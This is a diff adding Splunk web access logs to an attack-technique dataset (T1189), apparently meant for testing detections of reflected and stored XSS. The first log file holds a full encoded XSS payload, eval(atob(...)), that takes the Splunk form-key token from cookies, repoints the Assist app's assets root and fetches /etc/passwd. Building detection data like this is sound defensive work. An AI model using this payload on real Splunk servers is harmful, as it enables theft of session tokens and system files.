Jan1

datasets/attack_techniques/T1189/splunk/splunk_reflected_xss_in_templates_lists_radio.txt

@@ -0,0 +1,2 @@
+127.0.0.1 - admin [05/Oct/2022:14:45:10.810 +0000] "GET /en-US/lists/entities/x/ui/views?output_mode=radio&staticFields=%7b%22%6c%61%62%65%6c%22%3a%22%58%53%53%5c%6e%5c%6e%6f%6e%63%6c%69%63%6b%3d%65%76%61%6c%28%61%74%6f%62%28%60%4b%47%5a%31%62%6d%4e%30%61%57%39%75%49%43%67%70%49%48%73%4b%49%43%41%67%49%47%6c%6d%49%43%68%30%65%58%42%6c%62%32%59%67%64%32%6c%75%5a%47%39%33%4c%6e%68%7a%63%30%52%76%62%6d%55%67%49%54%30%39%49%43%64%31%62%6d%52%6c%5a%6d%6c%75%5a%57%51%6e%4b%53%42%37%43%69%41%67%49%43%41%67%49%43%41%67%63%6d%56%30%64%58%4a%75%4f%77%6f%67%49%43%41%67%66%51%6f%4b%49%43%41%67%49%47%4e%76%62%6e%4e%30%49%48%56%79%62%45%6c%75%61%58%52%44%62%32%35%6d%51%58%4e%7a%61%58%4e%30%49%44%30%67%4a%79%39%6c%62%69%31%56%55%79%39%7a%63%47%78%31%62%6d%74%6b%4c%31%39%66%63%6d%46%33%4c%33%4e%6c%63%6e%5a%70%59%32%56%7a%54%6c%4d%76%62%6d%39%69%62%32%52%35%4c%33%4e%77%62%48%56%75%61%31%39%68%63%33%4e%70%63%33%51%76%59%32%39%75%5a%6d%6c%6e%63%79%39%6a%62%32%35%6d%4c%57%46%7a%63%32%6c%7a%64%43%39%31%61%53%63%37%43%69%41%67%49%43%42%6a%62%32%35%7a%64%43%42%31%63%6d%78%47%5a%58%52%6a%61%45%5a%70%62%47%55%67%50%53%41%6e%4c%32%56%75%4c%56%56%54%4c%33%4e%77%62%48%56%75%61%32%51%76%58%31%39%79%59%58%63%76%63%32%56%79%64%6d%6c%6a%5a%58%4d%76%59%58%4e%7a%61%58%4e%30%4c%33%56%70%4c%32%46%7a%63%32%56%30%63%79%39%6c%64%47%4d%76%63%47%46%7a%63%33%64%6b%4a%7a%73%4b%49%43%41%67%49%47%4e%76%62%6e%4e%30%49%48%52%76%61%32%56%75%55%6d%56%6e%52%58%68%77%49%44%30%67%4c%33%52%76%61%32%56%75%58%32%74%6c%65%54%30%6f%57%31%34%37%58%53%73%70%4b%79%38%37%43%69%41%67%49%43%42%6a%62%32%35%7a%64%43%42%30%62%32%74%6c%62%6b%31%68%64%47%4e%6f%5a%58%4d%67%50%53%42%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%62%32%39%72%61%57%55%75%62%57%46%30%59%32%67%6f%64%47%39%72%5a%57%35%53%5a%57%64%46%65%48%41%70%4f%77%6f%4b%49%43%41%67%49%47%6c%6d%49%43%67%68%64%47%39%72%5a%57%35%4e%59%58%52%6a%61%47%56%7a%4b%53%42%37%43%69%41%67%49%43%41%67%49%43%41%67%63%6d%56%30%64%58%4a%75%4f%77%6f%67%49%43%41%67%66%51%6f%4b%49%43%41%67%49%47%4e%76%62%6e%4e%30%49%48%52%76%61%32%56%75%49%44%30%67%64%47%39%72%5a%57%35%4e%59%58%52%6a%61%47%56%7a%57%7a%46%64%4f%77%6f%67%49%43%41%67%59%32%39%75%63%33%51%67%63%48%4a%70%62%57%46%79%65%55%39%77%64%47%6c%76%62%6e%4d%67%50%53%42%37%43%69%41%67%49%43%41%67%49%43%41%67%61%47%56%68%5a%47%56%79%63%7a%6f%67%65%77%6f%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%6e%57%43%31%54%63%47%78%31%62%6d%73%74%52%6d%39%79%62%53%31%4c%5a%58%6b%6e%4f%69%42%30%62%32%74%6c%62%69%77%4b%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%4a%31%67%74%55%6d%56%78%64%57%56%7a%64%47%56%6b%4c%56%64%70%64%47%67%6e%4f%69%41%6e%57%45%31%4d%53%48%52%30%63%46%4a%6c%63%58%56%6c%63%33%51%6e%43%69%41%67%49%43%41%67%49%43%41%67%66%53%77%4b%49%43%41%67%49%43%41%67%49%43%42%6a%63%6d%56%6b%5a%57%35%30%61%57%46%73%63%7a%6f%67%4a%32%6c%75%59%32%78%31%5a%47%55%6e%4c%41%6f%67%49%43%41%67%66%54%73%4b%43%69%41%67%49%43%42%6d%5a%58%52%6a%61%43%68%31%63%6d%78%4a%62%6d%6c%30%51%32%39%75%5a%6b%46%7a%63%32%6c%7a%64%43%77%67%65%77%6f%67%49%43%41%67%49%43%41%67%49%47%4a%76%5a%48%6b%36%49%43%64%68%63%33%4e%6c%64%48%4e%66%63%6d%39%76%64%44%30%76%4a%79%77%4b%49%43%41%67%49%43%41%67%49%43%42%74%5a%58%52%6f%62%32%51%36%49%43%64%51%54%31%4e%55%4a%79%77%4b%49%43%41%67%49%43%41%67%49%43%41%75%4c%69%35%77%63%6d%6c%74%59%58%4a%35%54%33%42%30%61%57%39%75%63%77%6f%67%49%43%41%67%66%53%6b%75%64%47%68%6c%62%69%68%6d%64%57%35%6a%64%47%6c%76%62%69%41%6f%4b%53%42%37%43%69%41%67%49%43%41%67%49%43%41%67%5a%6d%56%30%59%32%67%6f%64%58%4a%73%52%6d%56%30%59%32%68%47%61%57%78%6c%4c%43%42%77%63%6d%6c%74%59%58%4a%35%54%33%42%30%61%57%39%75%63%79%6b%75%64%47%68%6c%62%69%68%6d%64%57%35%6a%64%47%6c%76%62%69%41%6f%63%6d%56%7a%4b%53%42%37%43%69%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%48%4a%6c%64%48%56%79%62%69%42%79%5a%58%4d%75%64%47%56%34%64%43%67%70%4f%77%6f%67%49%43%41%67%49%43%41%67%49%48%30%70%4c%6e%52%6f%5a%57%34%6f%5a%6e%56%75%59%33%52%70%62%32%34%67%4b%48%4a%6c%63%79%6b%67%65%77%6f%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%42%68%62%47%56%79%64%43%68%67%52%6d%56%30%59%32%68%6c%5a%43%42%44%62%32%35%30%5a%57%35%30%4f%69%41%6b%65%33%4a%6c%63%33%31%67%4b%54%73%4b%49%43%41%67%49%43%41%67%49%43%42%39%4b%51%6f%67%49%43%41%67%66%53%6b%37%43%67%6f%67%49%43%41%67%64%32%6c%75%5a%47%39%33%4c%6e%68%7a%63%30%52%76%62%6d%55%67%50%53%42%30%63%6e%56%6c%4f%77%70%39%4b%53%67%70%4f%77%3d%3d%60%29%29%5c%6e%5c%6e%74%22%2c%20%22%76%61%6c%75%65%22%3a%22%51%22%7d HTTP/1.1" 200 914 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" - 633d9876cf7f84bc782190 32ms
+127.0.0.1 - admin [05/Oct/2022:14:42:49.074 +0000] "GET /en-US/lists/entities/x/ui/views?output_mode=radio&staticFields=%7b%22%6c%61%62%65%6c%22%3a%22%58%53%53%5c%6e%5c%6e%6f%6e%63%6c%69%63%6b%3d%65%76%61%6c%28%61%74%6f%62%28%60%4b%47%5a%31%62%6d%4e%30%61%57%39%75%49%43%67%70%49%48%73%4b%49%43%41%67%49%47%6c%6d%49%43%68%30%65%58%42%6c%62%32%59%67%64%32%6c%75%5a%47%39%33%4c%6e%68%7a%63%30%52%76%62%6d%55%67%49%54%30%39%49%43%64%31%62%6d%52%6c%5a%6d%6c%75%5a%57%51%6e%4b%53%42%37%43%69%41%67%49%43%41%67%49%43%41%67%63%6d%56%30%64%58%4a%75%4f%77%6f%67%49%43%41%67%66%51%6f%4b%49%43%41%67%49%47%4e%76%62%6e%4e%30%49%48%56%79%62%45%6c%75%61%58%52%44%62%32%35%6d%51%58%4e%7a%61%58%4e%30%49%44%30%67%4a%79%39%6c%62%69%31%56%55%79%39%7a%63%47%78%31%62%6d%74%6b%4c%31%39%66%63%6d%46%33%4c%33%4e%6c%63%6e%5a%70%59%32%56%7a%54%6c%4d%76%62%6d%39%69%62%32%52%35%4c%33%4e%77%62%48%56%75%61%31%39%68%63%33%4e%70%63%33%51%76%59%32%39%75%5a%6d%6c%6e%63%79%39%6a%62%32%35%6d%4c%57%46%7a%63%32%6c%7a%64%43%39%31%61%53%63%37%43%69%41%67%49%43%42%6a%62%32%35%7a%64%43%42%31%63%6d%78%47%5a%58%52%6a%61%45%5a%70%62%47%55%67%50%53%41%6e%4c%32%56%75%4c%56%56%54%4c%33%4e%77%62%48%56%75%61%32%51%76%58%31%39%79%59%58%63%76%63%32%56%79%64%6d%6c%6a%5a%58%4d%76%59%58%4e%7a%61%58%4e%30%4c%33%56%70%4c%32%46%7a%63%32%56%30%63%79%39%6c%64%47%4d%76%63%47%46%7a%63%33%64%6b%4a%7a%73%4b%49%43%41%67%49%47%4e%76%62%6e%4e%30%49%48%52%76%61%32%56%75%55%6d%56%6e%52%58%68%77%49%44%30%67%4c%33%52%76%61%32%56%75%58%32%74%6c%65%54%30%6f%57%31%34%37%58%53%73%70%4b%79%38%37%43%69%41%67%49%43%42%6a%62%32%35%7a%64%43%42%30%62%32%74%6c%62%6b%31%68%64%47%4e%6f%5a%58%4d%67%50%53%42%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%62%32%39%72%61%57%55%75%62%57%46%30%59%32%67%6f%64%47%39%72%5a%57%35%53%5a%57%64%46%65%48%41%70%4f%77%6f%4b%49%43%41%67%49%47%6c%6d%49%43%67%68%64%47%39%72%5a%57%35%4e%59%58%52%6a%61%47%56%7a%4b%53%42%37%43%69%41%67%49%43%41%67%49%43%41%67%63%6d%56%30%64%58%4a%75%4f%77%6f%67%49%43%41%67%66%51%6f%4b%49%43%41%67%49%47%4e%76%62%6e%4e%30%49%48%52%76%61%32%56%75%49%44%30%67%64%47%39%72%5a%57%35%4e%59%58%52%6a%61%47%56%7a%57%7a%46%64%4f%77%6f%67%49%43%41%67%59%32%39%75%63%33%51%67%63%48%4a%70%62%57%46%79%65%55%39%77%64%47%6c%76%62%6e%4d%67%50%53%42%37%43%69%41%67%49%43%41%67%49%43%41%67%61%47%56%68%5a%47%56%79%63%7a%6f%67%65%77%6f%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%6e%57%43%31%54%63%47%78%31%62%6d%73%74%52%6d%39%79%62%53%31%4c%5a%58%6b%6e%4f%69%42%30%62%32%74%6c%62%69%77%4b%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%4a%31%67%74%55%6d%56%78%64%57%56%7a%64%47%56%6b%4c%56%64%70%64%47%67%6e%4f%69%41%6e%57%45%31%4d%53%48%52%30%63%46%4a%6c%63%58%56%6c%63%33%51%6e%43%69%41%67%49%43%41%67%49%43%41%67%66%53%77%4b%49%43%41%67%49%43%41%67%49%43%42%6a%63%6d%56%6b%5a%57%35%30%61%57%46%73%63%7a%6f%67%4a%32%6c%75%59%32%78%31%5a%47%55%6e%4c%41%6f%67%49%43%41%67%66%54%73%4b%43%69%41%67%49%43%42%6d%5a%58%52%6a%61%43%68%31%63%6d%78%4a%62%6d%6c%30%51%32%39%75%5a%6b%46%7a%63%32%6c%7a%64%43%77%67%65%77%6f%67%49%43%41%67%49%43%41%67%49%47%4a%76%5a%48%6b%36%49%43%64%68%63%33%4e%6c%64%48%4e%66%63%6d%39%76%64%44%30%76%4a%79%77%4b%49%43%41%67%49%43%41%67%49%43%42%74%5a%58%52%6f%62%32%51%36%49%43%64%51%54%31%4e%55%4a%79%77%4b%49%43%41%67%49%43%41%67%49%43%41%75%4c%69%35%77%63%6d%6c%74%59%58%4a%35%54%33%42%30%61%57%39%75%63%77%6f%67%49%43%41%67%66%53%6b%75%64%47%68%6c%62%69%68%6d%64%57%35%6a%64%47%6c%76%62%69%41%6f%4b%53%42%37%43%69%41%67%49%43%41%67%49%43%41%67%5a%6d%56%30%59%32%67%6f%64%58%4a%73%52%6d%56%30%59%32%68%47%61%57%78%6c%4c%43%42%77%63%6d%6c%74%59%58%4a%35%54%33%42%30%61%57%39%75%63%79%6b%75%64%47%68%6c%62%69%68%6d%64%57%35%6a%64%47%6c%76%62%69%41%6f%63%6d%56%7a%4b%53%42%37%43%69%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%48%4a%6c%64%48%56%79%62%69%42%79%5a%58%4d%75%64%47%56%34%64%43%67%70%4f%77%6f%67%49%43%41%67%49%43%41%67%49%48%30%70%4c%6e%52%6f%5a%57%34%6f%5a%6e%56%75%59%33%52%70%62%32%34%67%4b%48%4a%6c%63%79%6b%67%65%77%6f%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%42%68%62%47%56%79%64%43%68%67%52%6d%56%30%59%32%68%6c%5a%43%42%44%62%32%35%30%5a%57%35%30%4f%69%41%6b%65%33%4a%6c%63%33%31%67%4b%54%73%4b%49%43%41%67%49%43%41%67%49%43%42%39%4b%51%6f%67%49%43%41%67%66%53%6b%37%43%67%6f%67%49%43%41%67%64%32%6c%75%5a%47%39%33%4c%6e%68%7a%63%30%52%76%62%6d%55%67%50%53%42%30%63%6e%56%6c%4f%77%70%39%4b%53%67%70%4f%77%3d%3d%60%29%29%5c%6e%5c%6e%74%22%2c%20%22%76%61%6c%75%65%22%3a%22%51%22%7d HTTP/1.1" 200 914 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" - 633d97e9137f84bc7a2c10 57ms

datasets/attack_techniques/T1189/splunk/splunk_stored_xss_via_data_model_objectname_field.txt

@@ -0,0 +1,4 @@
+10.56.227.188 - admin [05/Oct/2022:15:25:28.955 +0000] "GET /en-US/splunkd/__raw/servicesNS/test/launcher/datamodel/model/XSSed?output_mode=json&_=1664983527489 HTTP/1.1" 404 58 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" - b3d7ec1a64f536e7aa4283f98439d7e5 0ms
+10.56.227.188 - admin [05/Oct/2022:15:23:42.588 +0000] "GET /en-US/splunkd/__raw/servicesNS/user/launcher/datamodel/model/XSSed?output_mode=json&_=1664983419665 HTTP/1.1" 200 2050 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36" - d8381753d51f643b601efe7357eef991 3ms
+10.56.227.188 - admin [05/Oct/2022:15:23:21.580 +0000] "GET /en-US/splunkd/__raw/servicesNS/-/launcher/datamodel/model?output_mode=json&sort_dir=asc&sort_key=displayName&sort_mode=auto&sort_mode=auto&search=(eai%3Aacl.owner%3D%22*%22)&count=20&offset=0&concise=true&_=1664983400121 HTTP/1.1" 200 961 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36" - d8381753d51f643b601efe7357eef991 3ms
+10.56.227.188 - admin [05/Oct/2022:15:22:52.005 +0000] "GET /en-US/splunkd/__raw/servicesNS/-/launcher/datamodel/model?output_mode=json&sort_dir=asc&sort_key=displayName&sort_mode=auto&sort_mode=auto&search=(eai%3Aacl.owner%3D%22*%22)&count=20&offset=0&concise=true&_=1664983370524 HTTP/1.1" 200 959 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36" - d8381753d51f643b601efe7357eef991 2ms

datasets/attack_techniques/T1189/splunk/splunk_xss_in_save_table_dialog_in_search_page.txt

@@ -0,0 +1,7 @@
+127.0.0.1 - admin [11/Oct/2022:12:36:58.604 +0000] "GET /en-US/favicon.ico HTTP/1.1" 200 21386 "http://10.224.158.110:14618/en-US/splunkd/__raw/servicesNS/nobody/search/datamodel/model" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36" - 6345636a9a7f49dc478e50 2ms
+10.56.227.188 - admin [11/Oct/2022:12:36:58.602 +0000] "GET /en-US/favicon.ico HTTP/1.1" 200 21386 "http://10.224.158.110:14618/en-US/splunkd/__raw/servicesNS/nobody/search/datamodel/model" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36" - fc3f17884dde498baacf623f3169e365 4ms
+10.56.227.188 - - [11/Oct/2022:12:36:58.314 +0000] "GET /favicon.ico HTTP/1.1" 303 365 "http://10.224.158.110:14618/en-US/splunkd/__raw/servicesNS/nobody/search/datamodel/model" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36" - - 0ms
+127.0.0.1 - - [11/Oct/2022:12:36:57.812 +0000] "GET /en-US/static/atom.xsl HTTP/1.1" 404 57343 "http://10.224.158.110:14618/en-US/splunkd/__raw/servicesNS/nobody/search/datamodel/model" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36" - 63456369d07f49fc101290 3ms
+10.56.227.188 - - [11/Oct/2022:12:36:57.811 +0000] "GET /en-US/static/atom.xsl HTTP/1.1" 404 18849 "http://10.224.158.110:14618/en-US/splunkd/__raw/servicesNS/nobody/search/datamodel/model" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36" - - 7ms
+10.56.227.188 - - [11/Oct/2022:12:36:57.519 +0000] "GET /static/atom.xsl HTTP/1.1" 303 373 "http://10.224.158.110:14618/en-US/splunkd/__raw/servicesNS/nobody/search/datamodel/model" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36" - - 0ms
+10.56.227.188 - user [11/Oct/2022:12:36:56.701 +0000] "POST /en-US/splunkd/__raw/servicesNS/nobody/search/datamodel/model HTTP/1.1" 200 14533 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36" - fc3f17884dde498baacf623f3169e365 20ms